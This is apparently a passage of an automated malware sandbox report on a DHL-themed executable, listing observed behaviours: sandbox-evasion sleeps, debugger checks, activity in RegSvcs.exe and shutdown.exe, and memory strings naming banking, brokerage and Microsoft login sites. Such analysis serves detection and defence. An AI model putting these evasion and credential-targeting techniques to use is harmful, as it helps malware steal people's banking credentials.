Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Memory allocated: 1040000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Memory allocated: 2A70000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Memory allocated: 2870000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Memory allocated: 7330000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Memory allocated: 7070000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Memory allocated: 8430000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Memory allocated: 9430000 memory reserve | memory write watch Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0185096E rdtsc 8_2_0185096E
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3111 Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Window / User API: threadDelayed 9838 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe API coverage: 0.7 %
Source: C:\Windows\SysWOW64\shutdown.exe API coverage: 2.6 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe TID: 1200 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5468 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5452 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe TID: 5568 Thread sleep count: 130 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe TID: 5568 Thread sleep time: -260000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe TID: 5568 Thread sleep count: 9838 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe TID: 5568 Thread sleep time: -19676000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe TID: 4308 Thread sleep time: -35000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\shutdown.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\shutdown.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_0329B740 FindFirstFileW,FindNextFileW,FindClose, 20_2_0329B740
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: M66J6bJL8.20.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: M66J6bJL8.20.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: M66J6bJL8.20.dr Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: M66J6bJL8.20.dr Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: shutdown.exe, 00000014.00000002.2459527178.0000000008212000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231
Source: shutdown.exe, 00000014.00000002.2459527178.0000000008212000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: rs.co.inVMware20,11696492231~
Source: M66J6bJL8.20.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: M66J6bJL8.20.dr Binary or memory string: outlook.office.comVMware20,11696492231s
Source: shutdown.exe, 00000014.00000002.2459527178.0000000008212000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: oft.visualstudio.comVMware20,11696492231x
Source: shutdown.exe, 00000014.00000002.2459527178.0000000008212000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: n.utiitsl.comVMware20,11696492231h
Source: M66J6bJL8.20.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: M66J6bJL8.20.dr Binary or memory string: AMC password management pageVMware20,11696492231
Source: M66J6bJL8.20.dr Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: shutdown.exe, 00000014.00000002.2459527178.0000000008212000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMware20,11696492231^
Source: M66J6bJL8.20.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: shutdown.exe, 00000014.00000002.2459527178.0000000008212000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,116964922
Source: shutdown.exe, 00000014.00000002.2459527178.0000000008212000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: zure.comVMware20,11696492231j
Source: M66J6bJL8.20.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: M66J6bJL8.20.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: M66J6bJL8.20.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: M66J6bJL8.20.dr Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: M66J6bJL8.20.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: M66J6bJL8.20.dr Binary or memory string: discord.comVMware20,11696492231f
Source: kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000015.00000002.2454000259.00000000012C0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 00000017.00000002.1886314367.000001AC9446C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllUU
Source: shutdown.exe, 00000014.00000002.2451924652.000000000347D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllb'E
Source: M66J6bJL8.20.dr Binary or memory string: global block list test formVMware20,11696492231
Source: shutdown.exe, 00000014.00000002.2459527178.0000000008212000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware?Nc01
Source: M66J6bJL8.20.dr Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: M66J6bJL8.20.dr Binary or memory string: dev.azure.comVMware20,11696492231j
Source: M66J6bJL8.20.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: shutdown.exe, 00000014.00000002.2459527178.0000000008212000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696492231|
Source: M66J6bJL8.20.dr Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: M66J6bJL8.20.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: M66J6bJL8.20.dr Binary or memory string: tasks.office.comVMware20,11696492231o
Source: shutdown.exe, 00000014.00000002.2459527178.0000000008212000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Transaction PasswordVMware20,11696492231}
Source: M66J6bJL8.20.dr Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: M66J6bJL8.20.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: M66J6bJL8.20.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: M66J6bJL8.20.dr Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: shutdown.exe, 00000014.00000002.2459527178.0000000008212000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ropeVMware20,11696492231
Source: shutdown.exe, 00000014.00000002.2459527178.0000000008212000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: kofamerica.comVMware20,11696492231x
Source: M66J6bJL8.20.dr Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: M66J6bJL8.20.dr Binary or memory string: secure.bankofamerica.comVMware20,11696492231|UE
Source: M66J6bJL8.20.dr Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: M66J6bJL8.20.dr Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0185096E rdtsc 8_2_0185096E
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_004171E3 LdrLoadDll, 8_2_004171E3
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01850185 mov eax, dword ptr fs:[00000030h] 8_2_01850185
